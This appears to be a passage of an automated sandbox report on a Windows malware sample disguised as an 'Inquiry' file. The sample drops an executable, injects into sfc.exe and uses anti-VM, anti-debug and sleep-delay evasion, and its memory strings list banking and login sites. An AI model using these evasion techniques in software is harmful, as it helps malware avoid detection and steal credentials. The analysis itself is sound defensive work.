Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\sfc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\sfc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\sfc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\sfc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: Inquiry PR#27957.bat.exe PID: 5748, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fuqwoDzun.exe PID: 7596, type: MEMORYSTR

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\sfc.exe	API/Special instruction interceptor: Address: 7FF90818D324
Source: C:\Windows\SysWOW64\sfc.exe	API/Special instruction interceptor: Address: 7FF90818D7E4
Source: C:\Windows\SysWOW64\sfc.exe	API/Special instruction interceptor: Address: 7FF90818D944
Source: C:\Windows\SysWOW64\sfc.exe	API/Special instruction interceptor: Address: 7FF90818D504
Source: C:\Windows\SysWOW64\sfc.exe	API/Special instruction interceptor: Address: 7FF90818D544
Source: C:\Windows\SysWOW64\sfc.exe	API/Special instruction interceptor: Address: 7FF90818D1E4
Source: C:\Windows\SysWOW64\sfc.exe	API/Special instruction interceptor: Address: 7FF908190154
Source: C:\Windows\SysWOW64\sfc.exe	API/Special instruction interceptor: Address: 7FF90818DA44

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Memory allocated: 2CD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Memory allocated: 2F20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Memory allocated: 2CD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Memory allocated: 8E10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Memory allocated: 9E10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Memory allocated: A010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Memory allocated: B010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Memory allocated: 930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Memory allocated: 2730000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Memory allocated: 2560000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Memory allocated: 8480000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Memory allocated: 6A60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Memory allocated: 9480000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Memory allocated: A480000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 9_2_0166096E rdtsc

9_2_0166096E

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3186	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5521	Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe	Window / User API: threadDelayed 9654

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	API coverage: 0.7 %
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	API coverage: 0.3 %

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe TID: 5980	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe TID: 6816	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7520	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7464	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7524	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7508	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe TID: 7600	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe TID: 7672	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe TID: 8084	Thread sleep count: 9654 > 30
Source: C:\Windows\SysWOW64\sfc.exe TID: 8084	Thread sleep time: -19308000s >= -30000s
Source: C:\Windows\SysWOW64\sfc.exe TID: 8084	Thread sleep count: 319 > 30
Source: C:\Windows\SysWOW64\sfc.exe TID: 8084	Thread sleep time: -638000s >= -30000s
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe TID: 8148	Thread sleep time: -70000s >= -30000s
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe TID: 8148	Thread sleep count: 36 > 30
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe TID: 8148	Thread sleep time: -54000s >= -30000s
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe TID: 8148	Thread sleep count: 35 > 30
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe TID: 8148	Thread sleep time: -35000s >= -30000s

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\sfc.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\sfc.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: 30-335c-.17.dr	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: 30-335c-.17.dr	Binary or memory string: global block list test formVMware20,11696497155
Source: 30-335c-.17.dr	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: 30-335c-.17.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: 30-335c-.17.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: 30-335c-.17.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: 30-335c-.17.dr	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: sfc.exe, 00000011.00000002.3786127793.0000000000B84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllO#l
Source: 30-335c-.17.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: 30-335c-.17.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: 30-335c-.17.dr	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: 30-335c-.17.dr	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: 30-335c-.17.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: firefox.exe, 00000019.00000002.2099036367.00000121CCFCC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllQQ
Source: 30-335c-.17.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: 30-335c-.17.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: 30-335c-.17.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: 30-335c-.17.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: 30-335c-.17.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: fuqwoDzun.exe, 0000000A.00000002.1474674839.00000000009D1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 30-335c-.17.dr	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: 30-335c-.17.dr	Binary or memory string: AMC password management pageVMware20,11696497155
Source: TsdBVAGjsKVoi.exe, 00000015.00000002.3787723829.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllr
Source: 30-335c-.17.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: 30-335c-.17.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: 30-335c-.17.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: 30-335c-.17.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: 30-335c-.17.dr	Binary or memory string: discord.comVMware20,11696497155f
Source: 30-335c-.17.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: 30-335c-.17.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: 30-335c-.17.dr	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: 30-335c-.17.dr	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: 30-335c-.17.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: 30-335c-.17.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: 30-335c-.17.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\sfc.exe	Process queried: DebugPort

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 9_2_0166096E rdtsc

9_2_0166096E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 9_2_00417913 LdrLoadDll,

9_2_00417913

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F4164 mov eax, dword ptr fs:[00000030h]	9_2_016F4164
